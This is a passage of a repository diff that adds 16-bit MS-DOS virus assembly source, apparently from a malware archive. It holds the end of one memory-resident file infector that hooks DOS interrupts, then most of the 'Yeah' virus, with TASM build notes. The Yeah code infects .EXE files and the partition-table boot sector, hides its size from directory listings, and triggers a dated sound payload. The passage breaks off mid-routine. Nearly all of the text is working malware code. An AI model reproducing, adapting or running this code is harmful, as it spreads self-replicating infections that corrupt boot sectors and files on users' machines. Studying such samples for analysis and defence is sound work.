SUB WORD PTR [I_CS],AX + +;J692: SET MIN_MALLOC + + MOV SI,OFFSET MINALLOC + CALL P_MIN_MAX_ALLOC + + MOV SI,OFFSET MAXALLOC + CALL P_MIN_MAX_ALLOC + +J069E: XOR CX,CX + MOV DX,CX + CALL START_FILE + + MOV DX,OFFSET TOP_HOST + MOV CX,20 + CALL WRITE_FILE + +CLOSE_EXITVIR: ;J6AE + PUSH [BP+0E] + PUSH [BP+06] + CALL CLOSE_F + +;J6B7 + ADD SP,+04 ;REMOVE LAST 2 PUSH +LEAVE_: + MOV BYTE PTR [INFEC_FL],0FF + POP AX + POP BX + POP CX + POP DX + POP SI + POP DI + POP BP + POP DS + POP ES + POPF + +GOTO_INT21: ;J6C9 + PUSHF + PUSH CS ; FLAG <- BP +6 + PUSH WORD PTR CS:[C_OFFSET_21] ; CS <- BP +4 + CMP BYTE PTR CS:[REM2],00 ; IP <- BP +2 + JNE J6D9 ; OLDBP <- BP =SP + IRET ; +J6D9: PUSH BP + MOV BP,SP + OR WORD PTR [BP+06],0100 ;SETS TRAP FLAG ON + ;RETURN + MOV BYTE PTR CS:[REM2],00 + POP BP + IRET +VIR_INT_21 ENDP + + ; C +OPEN_FILE PROC ; A + PUSH BP ; FLAG 8 + MOV BP,SP ; CS 6 + PUSH ES ; IP 4 + PUSH DX ; BP 2 + PUSH CX ;BP-> + PUSH BX + PUSH AX + + MOV AX,3300 ;GET EXT CTRL-BREAK + CALL C2_INT21 ;P361 + MOV BYTE PTR [CTRL_FLAG],DL ;SAVE OLD SETTING + + MOV AX,3301 ;SET CTRL-BREAK + XOR DL,DL ;OFF + CALL C2_INT21 + + MOV AX,3524 ;GET INT 24 + CALL C2_INT21 ;VECTORS + MOV WORD PTR [OLD_INT24_SEG],ES ;SAVE THEM HERE + MOV WORD PTR [OLD_INT24_OFS],BX ; + + MOV DX,OFFSET VIR_INT24 ;J384 + MOV AX,2524 ;SET INT 24 + CALL C2_INT21 ;TO OUR HANDLER + + MOV AX,4300 ;GET THE FILE ATTRIBUTES + PUSH DS ; + LDS DX,[BP+04] ;PTR TO FILENAME + CALL C2_INT21 ; + POP DS ; + JB GET_OUT_F_CL ;PROB_CH + MOV BYTE PTR [F_ATTR],CL ; + + TEST CL,01 ;TEST FOR R_W + JZ NOCHANGE_ATTR ; ITS R_W IF EQUAL + MOV AX,4301 ;CHANGE F_ATTR + push ds + XOR CX,CX ; + LDS DX,[BP+04] ; + CALL C2_INT21 ; + POP DS ; +PROB_CH: + JB GET_OUT_F_CL ; + +NOCHANGE_ATTR: + MOV AX,3D02 ;OPEN FILE R_W + PUSH DS ; + LDS DX,[BP+04] ;FNAME PTR + CALL C2_INT21 + POP DS + JB J0780 +;J74C + MOV WORD PTR [F_HANDLE],AX ; + MOV AX,5700 ;GET FILE TIME DATE + CALL I21_F_HANDLE ; + MOV WORD PTR [F_TIME],CX + MOV WORD PTR [F_DATE],DX + + POP AX + POP BX + POP CX + POP DX + POP ES + POP BP + CLC + RET +OPEN_FILE ENDP ;764 + +CLOSE_F PROC + PUSH BP + MOV BP,SP + PUSH ES + PUSH DX + PUSH CX + PUSH BX + PUSH AX + + MOV CX,WORD PTR [F_TIME] ; RESTORE + MOV DX,WORD PTR [F_DATE] ; TIME AND DATE + MOV AX,5701 ; TO FILE + CALL I21_F_HANDLE + + MOV AH,3E + CALL I21_F_HANDLE ;****************** + +J0780: MOV CL,BYTE PTR [F_ATTR] + XOR CL,20 + AND CL,3F + TEST CL,21 + JZ GET_OUT_F_CL ;J7A0 + + MOV AX,4301 + PUSH DS + XOR CH,CH + MOV CL,BYTE PTR [F_ATTR] + LDS DX,[BP+04] ;ASCIZ FILENAME + CALL C2_INT21 ;J361************* + POP DS + +GET_OUT_F_CL: + MOV AX,2524 + PUSH DS + LDS DX,DWORD PTR [OLD_INT24_OFS] + CALL C2_INT21 + POP DS + + MOV DL,BYTE PTR [CTRL_FLAG] + MOV AX,3301 + CALL C2_INT21 + + POP AX + POP BX + POP CX + POP DX + POP ES + POP BP + STC + RET +CLOSE_F ENDP + +RET_HOST PROC + POP CX + MOV DX,0200 + CMP BYTE PTR CS:[BX+REM2],00 + JE J7CC + MOV DH,03 + +J7CC: PUSH DX + PUSH CS + PUSH CX + INC BX + IRET +RET_HOST ENDP + +;07d1 +START: + CALL FIND_OFFSET + +FIND_OFFSET: + POP BX + SUB BX,OFFSET FIND_OFFSET + + MOV BYTE PTR CS:[BX+INFEC_FL],0FF ;D005C + CLD + CMP BYTE PTR CS:[BX+COMFILE],00 + JE EXEFILE ;J800 + +;ONLY OCCURS IF IT IS A COM FILE + MOV SI,OFFSET TOP_HOST ;MOV 20H BYTES FROM + ADD SI,BX ; [SI] TO + MOV DI,0100 ; [DI] + MOV CX,0020 ; + REPZ MOVSB + + PUSH CS + PUSH WORD PTR CS:[BX+HOST_IP] + + PUSH ES + PUSH DS + PUSH AX + JMP short INSTALLED? + +EXEFILE: +;NOTICE NO BX+ OFFSET NEEDED BECAUSE IT ASSUMES IT IS EXE AT THIS +;MOMENT + MOV DX,DS + ADD DX,+10 + ADD DX,WORD PTR CS:[I_CS] + PUSH DX + + PUSH word ptr cs:[I_IP] + + PUSH ES + PUSH DS + PUSH AX + +INSTALLED?: + PUSH BX + MOV BX,002C + CLC + MOV AX,0C603 + INT 21 + POP BX + JNB NOT_INSTALLED ;J0827 + +EXIT: + POP AX + POP DS + POP ES + CALL RET_HOST ;P_07BE + RETF +;J0827 +NOT_INSTALLED: + + CMP BYTE PTR cs:[BX+COMFILE],00 + JE FILE_IS_EXE ;J0834 + CMP SP,-10 + JB EXIT ;J0820 + +FILE_IS_EXE: + MOV AX,DS ;LOOK AT MCB + DEC AX ; + MOV ES,AX ; + CMP BYTE PTR ES:[0000],5A ; IS IT Z + JE LAST_MEM_BLOCK ;YES IT IS LAST ONE + + PUSH BX + MOV AH,48 ;REQUEST A BLOCK OF MEM + MOV BX,0FFFF ;LARGEST AVAILABLE + INT 21 + + CMP BX,00BC ;IS BLOCK > BC + JB TO_SMALL ;J0853 + + MOV AH,48 ;AVAIBLE BLOCK IS BIG ENOUGH + INT 21 ; GET IT IN AX + +TO_SMALL: + POP BX + JB EXIT + + DEC AX ;GET MCB SEGMENT IN ES + MOV ES,AX ; + CLI + MOV WORD PTR ES:[0001],0000 ;MARK THIS BLOCK AS FREE + CMP BYTE PTR ES:[0000],5A ; IS LAST MCB + JNE EXIT + + ADD AX,WORD PTR ES:[0003] ;SIZE OF MEM MCB CONTROLS + INC AX ; + MOV WORD PTR ES:[0012],AX ;0012 PTS TO NEXT MCB + +LAST_MEM_BLOCK: + MOV AX,WORD PTR ES:[0003] ;SIZE OF MEM + SUB AX,00BC ;MINUS SIZE VIRUS/10H + JB EXIT ; + + MOV WORD PTR ES:[0003],AX + SUB WORD PTR ES:[0012],00BC + MOV ES,ES:[0012] ;SEG TO LOAD VIRUS INTO + XOR DI,DI ;MOV B40 BYTES FROM + MOV SI,BX ; DS:[SI] + ; TO ES:[DI] + MOV CX,OFFSET VGROUP:BOT_VIR ;0B40 + + DB 0F3, 2E,0A4 +; REPZ CS: MOVSB ; + + PUSH ES + POP DS + PUSH BX + +;J0899 +;NOTE THAT DS:= ES MEANS LOCATION IN HIGH MEM BELOW 640 +;SO THAT IF CS IS REFRENCED YOU MUST STILL USE OFFSET +;BUT IF DS IS USED OFFSET CAN NOT BE USED + + MOV AX,3521 + INT 21 + MOV [OLD_INT21_SEG],ES + MOV [OLD_INT21_OFS],BX + + MOV [OLD_INT21_SEG2],ES + MOV [OLD_INT21_OFS2],BX + + MOV AX,3501 ;GET VECTOR FOR + INT 21 ;INTERUPT 01 + MOV SI,BX ;SAVE IN REGS + MOV DI,ES ;DS:SI + + MOV AX,351C + INT 21 + MOV [OLD_INT1C_SEG],ES + MOV [OLD_INT1C_OFS],BX + + POP BX + + MOV AX,2521 + MOV DX,OFFSET VIR_INT_21 + INT 21 + + MOV AX,2501 + MOV DX,OFFSET VIR_INT_01 + INT 21 + + MOV DX,OFFSET VIR_INT_1C + + PUSHF + MOV AX,BX ;PUT OFFSET IN AX + ADD AX,OFFSET VACSINE ;SET UP TO GO HERE + PUSH CS ;USING STACK + + PUSH AX ;SAVE OFFSET + + CLI ;CLEAR INTER FLAGS + PUSHF ;PUSH FLAGS + POP AX ;POP FLAG + OR AX,0100 ;SET TF + PUSH AX ;FOR SINGLE STEP + + MOV AX,BX + ADD AX,OFFSET REAL_INT21 ;FLAGS SET FOR SINGLE STEP + PUSH CS ;CS + PUSH AX ;IP TO REAL_INT21 + MOV AX,251C ;WHEN INT 21 CALLED + ;HOOK 1C + MOV BYTE PTR [SNARE],01 + IRET + +VIR_INT_01 PROC + PUSH BP + MOV BP,SP + CMP BYTE PTR CS:[SNARE],01 ;IF SNARE IS SET + JE YES_NO ;CONTINUE + +EXIT_VIR_INT01: + AND WORD PTR [BP+06],0FEFF ;CLEAR TF + MOV BYTE PTR cs:[SNARE],00 ;CLEAR SNARE + POP BP ; + IRET ; + +YES_NO: CMP WORD PTR [BP+04],0300 ; + JB GOT_IT ;J0918 + POP BP ;NOPE + IRET ;TRY AGAIN + +GOT_IT: + PUSH BX + MOV BX,[BP+02] + MOV WORD PTR CS:[OLD_INT21_OFS2],BX + MOV BX,[BP+04] + MOV WORD PTR CS:[OLD_INT21_SEG2],BX + POP BX + JMP EXIT_VIR_INT01 + +VIR_INT_01 ENDP + +VACSINE: + MOV BYTE PTR [SNARE],00 + + MOV AX,2501 ;RESTORE + MOV DX,SI ;INT 01 + MOV DS,DI ; + INT 21 ; + +;NEXT PIECE OF CODE IS LOOKING AT DS:=0000 +;0000:00C5 MIGHT BE A JUMP TO AN INT BEING ALTERED AT TABLE +;0000:00C7 +;0000:0413 MEM SIZE IN KILOBYTES + + XOR AX,AX + MOV DS,AX + MOV WORD PTR DS:[00C5],397F + MOV BYTE PTR DS:[00C7],2C + MOV AX,WORD PTR DS:[MEM_SIZE] + MOV CL,06 + SHL AX,CL + MOV DS,AX + MOV SI,012E + XOR AX,AX + MOV CX,0061 + +L1: ADD AX,[SI] + ADD SI,+02 + LOOP L1 + + CMP AX,053BH + JE PING_IN_MEM ;J0969 + JMP EXIT ;J0820 + +PING_IN_MEM: + CLI + MOV BYTE PTR DS:[017AH],01H + MOV BYTE PTR DS:[01FBH],01H + MOV BYTE PTR DS:[0093H],0E9H + MOV WORD PTR DS:[0094H],0341H + + PUSH DS + POP ES + + PUSH CS + POP DS + + MOV SI,BX ;STILL = OFFSET + ADD SI,OFFSET NEW_PONG + MOV DI,03D7 + MOV CX,0027 + REPZ MOVSB + STI + JMP EXIT + +P_0995 PROC +;CALLED BY P_09C8 +; + PUSH BP + MOV BP,SP + PUSH CX + MOV AX,8000 + XOR CX,CX + +PLOOP: + TEST AX,[BP+08] + JNE J09A8 + INC CX + SHR AX,1 + JMP short PLOOP +J09A8: + XOR AX,[BP+08] + JE J09BC + + MOV AX,[BP+04] + ADD AX,[BP+08] + ADD AX,CX + SUB AX,0011 + CLC + POP CX + POP BP + RET +J09BC: + MOV AX,000F + SUB AX,CX + ADD AX,[BP+06] + STC + POP CX + POP BP + RET +P_0995 ENDP +;******************************************************************** + +P_09C8 PROC +;CALLED BY P_02D8 + PUSH BP + MOV BP,SP + SUB SP,+10 ;ADD BACK SP 5 WORDS + + MOV DX,8000 +L21: TEST DX,[BP+08] + JNZ J09DA + SHR DX,1 + JMP L21 + +J09DA: + LEA DI,[BP-10] ; + MOV CX,0008 ; + XOR AX,AX ; + PUSH SS ;SS = ES + POP ES ; + REPZ STOSW ;MOV 8 WORDS FROM + ;MOV DS:SI + ;TO ES:DI + MOV CX,[BP+08] + +J09E9: TEST CX,DX + JE J0A4B + + PUSH CX + PUSH [BP+06] + PUSH [BP+04] + CALL P_0995 + + MOV ES,AX + LAHF + ADD SP,+06 + SAHF + JB J0A3A + +;0A00 + MOV AX,WORD PTR ES:[0000] ; + XOR [BP-10],AX ; + ; + MOV AX,WORD PTR ES:[0002] ; + XOR [BP-0E],AX ; + ; + MOV AX,WORD PTR ES:[0004] ; + XOR [BP-0C],AX ; + ; + MOV AX,WORD PTR ES:[0006] ; + XOR [BP-0A],AX ; + ; + MOV AX,WORD PTR ES:[0008] ; + XOR [BP-08],AX ; + ; + MOV AX,WORD PTR ES:[000A] ; + XOR [BP-06],AX ; + ; + MOV AX,WORD PTR ES:[000C] ; + XOR [BP-04],AX ; + ; + MOV AX,WORD PTR ES:[000E] ; + XOR [BP-02],AX ; + ; + JMP SHORT J0A4B + +J0A3A: + MOV AX,CX + MOV CX,0008 + LEA SI,[BP-10] + XOR DI,DI + + DB 0F3,36,0A5 +; REPZ SS:MOVSW + + MOV CX,AX + JMP SHORT J0A4E + +J0A4B: + DEC CX + JMP SHORT J09E9 + +J0A4E: + SHR DX,1 + JB J0A54 + JMP SHORT J09DA + +J0A54: + MOV SP,BP + POP BP + RET +P_09C8 ENDP + +;***************************************************************** + +P_0A58 PROC + PUSH BP + MOV BP,SP + PUSH DS + +J0A5C: + MOV DS,[BP+04] + MOV ES,[BP+06] + XOR BX,BX + +J0A64: + MOV AX,WORD PTR ES:[BX] + XOR WORD PTR [BX],AX + ADD BX,+02 + CMP BX,+10 + JB J0A64 + INC WORD PTR [BP+04] + INC WORD PTR [BP+06] + DEC WORD PTR [BP+08] + JNZ J0A5C + + POP DS + POP BP + RET +P_0A58 ENDP +;************************************************************ + +P_0A7F PROC + PUSH BP + MOV BP,SP + PUSH DS + MOV BL,01 +J0A85: + XOR SI,SI +J0A87: + XOR CX,CX + MOV DI,[BP+08] + ADD DI,[BP+0A] + DEC DI + +J0A90: + MOV DS,DI + SHR BYTE PTR [SI],1 + RCL CX,1 + DEC DI + CMP DI,[BP+08] + JNB J0A90 + OR CX,CX + JZ J0AB1 + + PUSH CX + PUSH [BP+06] + PUSH [BP+04] + CALL P_0995 + + ADD SP,+06 ; + MOV DS,AX + XOR BYTE PTR [SI],BL +J0AB1: + INC SI + CMP SI,+10 + JB J0A87 + SHL BL,01 + JNB J0A85 + POP DS + POP BP + RET +P_0A7F ENDP + +J0ABE DB 87,0DBH +;J0AC0 DB 88,CB ;VALUE MAYBE USED AS 0ACO + + +J0AC0: DB 88,0CBH,8A,99,8F,38 + DB 0E7H,0CDH,0A1H,9BH,3EH + DB 0EF,86,0C8,97,83,52 + DB 34,0BE,8C,21, 29,0B1 + DB 0F9H,0C1H,9BH,12H,04H,09H,0F3H + DB 45, 01, 93, 01DH, 0B0 + DB 0B9,0C6,01,06,92,37,50 + DB 49,0E8,0D5,71,97 + DB 22,0A6,0E6,04C,50 + DB 0BE,2A,23 + DB 0BE,44, 01DH + DB 0A1,0A6,6BH + DB 0A0,0E0,06 + DB 0AA,1A,0F6,2A,0C0 + DB 02,2F,75,99 + DB 06H,0FH,5BH,97H,02H,3EH + DB 64, 07DH, 0C8,50,66,08 + DB 0C4,0FA,92,8E,64,75 + DB 1BH, 0A6H, 1BH, 0B9H, 32H, 0BDH + DB 0BH, 3EH, 61H, 06DH, 0E0H, 0C4H + DB 0B9H, 29, 0CAH, 9CH, 17H, 08H, 21H + DB 0EAH, 0EEH, 7EH , 85H, 0B1H + DB 63H, 2AH, 0C3H, 71H, 71H, 2CH, 0A0H + DB 0F2H, 8BH, 59H, 0DH + DB 0F9,0D5H, 00H +;POSSIBLE END OF VIRUS + + +BOT_VIR EQU $ ;LABEL FOR END OF VIRUS +VIRUS_CODE ENDS + END start + + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.yeah1.asm b/MSDOS/Virus.MSDOS.Unknown.yeah1.asm new file mode 100644 index 00000000..de4c37be --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.yeah1.asm @@ -0,0 +1,1050 @@ +;------------------------------------------------------------------------------ +; +; Virus Name: Yeah +; Origin: Holland +; Eff Length: 4,096 bytes +; Type Code: PRhE - Parasitic Resident .EXE & partition table infector +; +;------------------------------------------------------------------------------ +; +; This program is assembled with TASM V1.01 from Borland International +; (assembing with MASM V5.10 from Microsoft Inc. is also possible). +; +; TASM stealth; +; LINK stealth,,stealth; +; +;------------------------------------------------------------------------------ +; +; Interrupt vectors +; +;------------------------------------------------------------------------------ + +iseg segment at 0 + org 8*4 +Int8o dw 0 ; interrupt vector 21h +Int8s dw 0 + + org 1ch*4 +Int1Co dw 0 ; interrupt vector 21h +Int1Cs dw 0 + + org 21h*4 +Int21o dw 0 ; interrupt vector 21h +Int21s dw 0 + +iseg ends + +cseg segment public 'code' + assume cs:cseg,ds:cseg,es:cseg + +;------------------------------------------------------------------------------ +; +; Header of EXE-file +; +;------------------------------------------------------------------------------ + +VirusSize equ 10d0h ; size of virus +PrgSize equ 72h ; size of prg after the virus + +Signature dw 0 ; signature 'MZ' +PartPage dw 0 ; size of partitial page +PageCount dw 0 ; number of pages +ReloCount dw 0 ; number of relocation items +HeaderSize dw 0 ; size of header +MinMem dw 0 ; minimum memory needed +MaxMem dw 0 ; maximum memory needed +ExeSS dw 0 ; initial SS +ExeSP dw 0 ; initial SP +CheckSum dw 0 ; unused ??? +ExeIP dw 0 ; initial IP +ExeCS dw 0 ; initial CS +ReloOffset dw 0 ; offset of relocationtable +OverlayNr dw 0 ; number of overlay + +ComSize dw -1 ; Size of com-file (-1 for exe) + +;------------------------------------------------------------------------------ +; +; This procedure is called when starting from an exe-file +; +;------------------------------------------------------------------------------ + +Main: pushf ; save flags + sub sp,4 ; reserve space far cs:ip + push ax ; save other registers + push ds + push es + sti ; enable interrupts + cmp cs:ComSize,-1 ; com or exe-file + je ExeFile ; -1 : exe-file +ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max + mov bp,sp ; set cs:ip on stack for + mov word ptr [bp+8],ds ; returning to the orginal + mov word ptr [bp+6],100h ; program + mov bp,ds ; bp : stacksegment + mov ax,cs ; bx : begin of com-file + add ax,(VirusSize/10h) + mov bx,ax + mov cx,0ff0h ; cx : size of data to move + add ax,cx ; es : buffer for mover and + mov es,ax ; infecting the bootsect. + push cs ; ds : codesegment + pop ds + jmp short InfectBoot ; infect bootsector +ExeFile: mov dx,cs ; Relocation + add dx,(VirusSize/10h) + mov ds,dx + mov cx,ReloCount ; number of relocation items + add dx,HeaderSize ; size of exe-header + mov si,ReloOffset ; offset of 1st relocation item + jcxz NoRelo +NextRelo: lodsw ; offset + mov di,ax + lodsw ; segment + add ax,dx + mov es,ax + mov ax,cs ; relocation factor + add es:[di],ax + loop NextRelo ; next relocation item +NoRelo: mov bp,sp + mov ax,cs ; set cs:ip on stack for + add ax,ExeCS ; returning to the orginal + mov [bp+8],ax ; program + mov ax,ExeIP + mov [bp+6],ax + mov bp,cs ; bp : stacksegment + add bp,ExeSS + mov ax,PageCount ; calculate size of exe-file + mov dx,PartPage ; in paragraphs + add dx,-1 + sbb ax,0 + mov cl,4 + shr dx,cl + inc dx + inc cl + shl ax,cl + add dx,ax + add dx,MinMem ; dx : size of exe-file + mov cx,dx ; cx : size of code and data + sub cx,HeaderSize + mov bx,cs ; bx : start of code and data + mov ds,bx + add bx,(VirusSize/10h) + add bx,dx + mov es,bx ; es : buffer for mover and + sub bx,cx ; infecting the bootsect. +InfectBoot: push bx ; save bx and cx + push cx + mov ax,201h ; read bootsector from disk + xor bx,bx + mov cx,1 + mov dx,80h + int 13h + jc BootOk ; error ? + mov si,offset BootSector ; compare with infected code + xor di,di + mov cx,1*BootSize + cld + repe cmpsb + je BootOk ; equal ? + mov di,1beh+8 ; check partitions, we don't + mov cx,4 ; want to overwrite them +NextPartition: cmp word ptr es:[di+2],0 + ja SectOk + cmp word ptr es:[di],(VirusSize+1ffh)/200h+1 + ja SectOk + cmp word ptr es:[di],0 + ja BootOk +SectOk: add di,10h + loop NextPartition + mov si,offset BootSector ; exchange code from bootsector + xor di,di ; with viral code + mov cx,1*BootSize + cld + call Swapsb + push es ; write virus to disk + pop ds + push cs + pop es + mov ax,(VirusSize+1ffh)/200h+300h + mov cx,2 + int 13h + push ds + pop es + push cs + pop ds + jc BootOk ; error ? + mov ax,301h ; write bootsector to disk + mov cx,1 + int 13h +BootOk: pop cx ; restore bx and cx + pop bx + mov dx,cs ; dx = destenation segment + xor di,di + push es ; push seg:ofs of mover + push di + push cx ; save cx + mov cx,1*MoverSize + mov si,offset Mover + cld ; copy mover-procedure + rep movsb + pop cx ; restore cx + cli ; disable interrupts + retf ; jump to mover + +Mover: mov ax,cx ; save cx + mov ds,bx ; ds:si = source + mov es,dx ; es:di = destenation + xor si,si + xor di,di + mov cx,8h ; copy one paragraph + rep movsw + inc bx + inc dx + mov cx,ax ; restore cx + loop Mover ; next paragraph + mov ss,bp ; ss = new stacksegment + sti ; enable interrupts + pop es ; restore registers + pop ds + pop ax + iret ; jump to program + +MoverSize equ ($-Mover) + +;------------------------------------------------------------------------------ +; +; Bootsector startup +; +;------------------------------------------------------------------------------ + +Bootsector: cli ; disable interrupts + xor bx,bx ; setup stack and ds + mov ds,bx + mov ss,bx + mov sp,7c00h + sti ; enable interrupts + mov ax,ds:[413h] ; get size of base memory + sub ax,(VirusSize+3ffh)/400h; subtract virussize + mov ds:[413h],ax ; store new memory size + mov cl,6 ; calculate segment + shl ax,cl + mov es,ax ; load virus in reserved mem + mov ax,(VirusSize+1ffh)/200h+200h + mov cx,2 + mov dx,80h + int 13h + mov bx,offset StartUp ; bx=offset startup + push es ; jump to startup (es:bx) + push bx + retf + +BootSize equ ($-Bootsector) ; size of bootsector part + +StartUp: cli ; disable interrupts + mov ax,offset Interrupt1C ; hack interrupt 1C + xchg ax,ds:Int1Co + mov cs:OldInt1Co,ax + mov ax,cs + xchg ax,ds:Int1Cs + mov cs:OldInt1Cs,ax + mov cs:OldInt21o,-1 + mov cs:OldInt21s,-1 + mov cs:Count,-1 + sti ; enable interrupts + push cs ; ds=cs + pop es + mov si,7c00h ; di=7c00h (Bootsector) + mov di,offset BootSector ; si=BootSector + mov cx,1*BootSize ; bytes to copy + cld ; copy forward + call Swapsb ; restore orginal boot + mov ax,7c00h ; offset bootsector + push ds ; jump to bootsector + push ax + retf + +Interrupt8: push ax ; save registers + push si + push ds + push cs + pop ds + mov si,SampleOffset ; get offset of next bit + dec byte ptr ds:SampleBit + test byte ptr ds:SampleBit,7 + jnz OfsOk + inc si + cmp si,offset SampleEnd ; end of sample ? + jb OfsOk ; no, play bit + mov al,34h ; reset int 8 frequency + out 43h,al + xor ax,ax + out 40h,al + out 40h,al + mov ds,ax ; reset int 8 vector + mov ax,cs:OldInt8o + mov ds:Int8o,ax + mov ax,cs:OldInt8s + mov ds:Int8s,ax + inc byte ptr cs:SampleFlag ; set sample ready flag + jmp short ExitInt8 ; end of interrupt +OfsOk: mov SampleOffset,si ; store offset + rol byte ptr ds:[si],1 ; next bit + mov ah,ds:[si] ; get bit value + and ah,1 + shl ah,1 + in al,61h ; get value of io-port 61h + and al,0fch ; reset last 2 bits + or al,ah ; set bit 2 with sample value + out 61h,al ; write to io-port 61h +ExitInt8: mov al,20h ; end of interrupt signal + out 20h,al + pop ds ; restore registers + pop si + pop ax + iret ; return to program + +Interrupt1C: push ds ; save registers + push ax + push bx + xor ax,ax ; interrupts vectors + mov ds,ax + mov ax,ds:Int21o + cmp cs:OldInt21o,ax + jne Changed + mov ax,ds:Int21s + cmp cs:OldInt21s,ax + je Equal +Changed: mov ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,ds:Int21s + mov cs:OldInt21s,ax + mov cs:Count,182 + jmp short NotReady +Equal: dec cs:Count + jnz NotReady + mov ax,cs:OldInt1Co ; restore vector 1C + mov ds:Int1Co,ax ; (This interrupt) + mov ax,cs:OldInt1Cs + mov ds:Int1Cs,ax + mov ax,offset Interrupt21 ; Hack interrupt 21 + xchg ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,cs + xchg ax,ds:Int21s + mov cs:OldInt21s,ax + mov ax,8 + mov bx,offset Handle +NextHandle: mov word ptr cs:[bx],0 + inc bx + inc bx + dec ax + jnz NextHandle + mov byte ptr cs:Active,-1 +NotReady: pop bx + pop ax ; restore registers + pop ds + jmp cs:OldInt1C ; do orginal int 1C + +Swapsb: mov al,es:[di] ; exchange two memory bytes + xchg al,ds:[si] + stosb + inc si + loop Swapsb ; next byte + ret ; return + +;------------------------------------------------------------------------------ +; +; Manipilated functions +; +;------------------------------------------------------------------------------ + +Functions db 11h ; 1 + dw offset FindFCB + db 12h ; 2 + dw offset FindFCB + db 30h ; 3 + dw offset DosVersion + db 3ch ; 4 + dw offset Open + db 3dh ; 5 + dw offset Open + db 3eh ; 6 + dw offset Close + db 42h ; 7 + dw offset Seek + db 45h ; 8 + dw offset Duplicate + db 46h ; 9 + dw offset Redirect + db 4eh ; 10 + dw offset Find + db 4fh ; 11 + dw offset Find + db 5bh ; 12 + dw offset Open + db 6ch ; 13 + dw offset OpenCreate + +FunctionCount equ 13 + +;------------------------------------------------------------------------------ +; +; The orginal interrupt 21h is redirected to this procedure +; +;------------------------------------------------------------------------------ + +DosVersion: push ax + push cx + push dx + push ds + push cs + pop ds + cmp cs:Active,0 + je NotActive + mov ah,2ah + call DOS + cmp ActiveYear,cx + jb NotActive + cmp ActiveDate,dx + jb NotActive + cli + xor ax,ax + mov ds,ax + mov ax,offset Interrupt8 + xchg ax,ds:Int8o + mov cs:OldInt8o,ax + mov ax,cs + xchg ax,ds:Int8s + mov cs:OldInt8s,ax + mov al,34h + out 43h,al + mov al,80h + out 40h,al + mov al,0 + out 40h,al + push cs + pop ds + mov byte ptr SampleFlag,0 + mov byte ptr SampleBit,0 + mov word ptr SampleOffset,offset SampleData + sti +Delay: cmp byte ptr SampleFlag,0 + je Delay + mov byte ptr Active,0 +NotActive: pop ds + pop dx + pop cx + pop ax + jmp Old21 + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + pushf ; save registers + push ax + push bx + push es + mov ah,2fh ; get DTA + call DOS + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],VirusSize + sbb word ptr es:[bx+1eh],0 ; adjust file-size + jmp short Time + +Find: call DOS ; call orginal interrupt + jc Ret1 ; error ? + pushf ; save registers + push ax + push bx + push es + mov ah,2fh + call DOS + mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ah],VirusSize + sbb word ptr es:[bx+1ch],0 ; change file-size +Time: xor byte ptr es:[bx+16h],1fh; adjust file-time +FileOk: pop es ; restore registers + pop bx + pop ax + popf +Ret1: retf 2 ; return + +Seek: or bx,bx ; bx=0 ? + jz Old21 ; yes, do orginal interrupt + push bx + call FindHandle + pop bx + jc Old21 +Stealth: or al,al ; seek from top of file ? + jnz Relative ; no, don't change cx:dx + add dx,VirusSize ; change cx:dx + adc cx,0 +Relative: call DOS ; Execute orginal int 21h + jc Ret1 ; Error ? + sub ax,VirusSize ; adjust dx:ax + sbb dx,0 + jmp short Ret1 ; return + +Close: or bx,bx ; bx=0 ? + je Old21 ; yes, do orginal interrupt + push ax + push cx + push dx + push si + push ds + push cs ; ds=cs + pop ds + push bx + call FindHandle + mov si,bx + pop bx + jc NotStealth + mov word ptr ds:[si],0 + call UpdateHeader +NotStealth: pop ds ; restore registers + pop si + pop dx + pop cx + pop ax +Not2: jmp short Old21 ; continue with orginal int + +Interrupt21: push bx ; after an int 21h instruction + push cx ; this procedure is started + mov bx,offset Functions + mov cx,FunctionCount +NxtFn: cmp ah,cs:[bx] ; search function + je FunctionTrap + add bx,3 + loop NxtFn + pop cx ; function not found + pop bx +Old21: jmp cs:OldInt21 + +FunctionTrap: push bp ; function found, start viral + mov bp,sp ; version of function + mov bx,cs:[bx+1] + xchg bx,[bp+4] + mov cx,[bp+10] + xchg cx,[bp+2] + pop bp + popf + ret + +Duplicate: call DOS + jc Error + pushf + push bx + call FindHandle + jc Ret3 + mov bx,ax + call StoreHandle +Ret3: pop bx + popf + jmp Ret2 + +Redirect: call DOS + jc Error + pushf + push bx + push cx + xchg bx,cx + call FindHandle + jc Ret4 + mov cs:[bx],cx +Ret4: pop cx + pop bx + popf + jmp Ret2 + +OpenCreate: or al,al ; extended open/create function + jne Old21 ; no, do orginal interrupt 21 + push dx ; save dx + mov dx,si ; check extension of filename + call CheckName + pop dx ; retore dx + jc Old21 ; exe or com-file? + jmp short ExtensionOk ; yes, infect file or use + ; stealth + +Open: call CheckName ; exe or com-file ? + jc Old21 ; no, do orginal int 21 +ExtensionOk: call DOS ; do interrupt 21 + jnc NoError ; error ? +Error: jmp Ret2 ; yes, return and do nothing +NoError: pushf ; save registers + push ax + push bx + push cx + push dx + push ds + push cs + pop ds + mov bx,ax ; bx = file handle + mov ax,4400h ; get device information + call DOS + jc PopRet ; error ? + test dx,80h ; character device + jnz PopRet ; yes, return and do nothing + call EndOfFile ; get file size + or ax,dx ; 0 ? + jnz FileExists ; no, file already existed +FileCreated: call HandleFree + jc PopRet + mov ah,2ah + call DOS + add dh,3 + cmp dh,12 + jbe DateOk + inc cx + sub dh,12 +DateOk: mov ActiveYear,cx + mov ActiveDate,dx + mov ah,40h ; write virus to file + mov cx,VirusSize + call Zero2 + jc NoVir ; error ? yes, return + xor ax,cx ; entire virus written ? + jnz NoVir ; no, return + call StoreHandle + jmp short PopRet ; return +FileExists: call TopOfFile ; go to top of file + call HandleFree + jc PopRet ; no, do nothing + call ReadHeader ; read exe-header + jc NoVir ; error ? + xor ax,cx 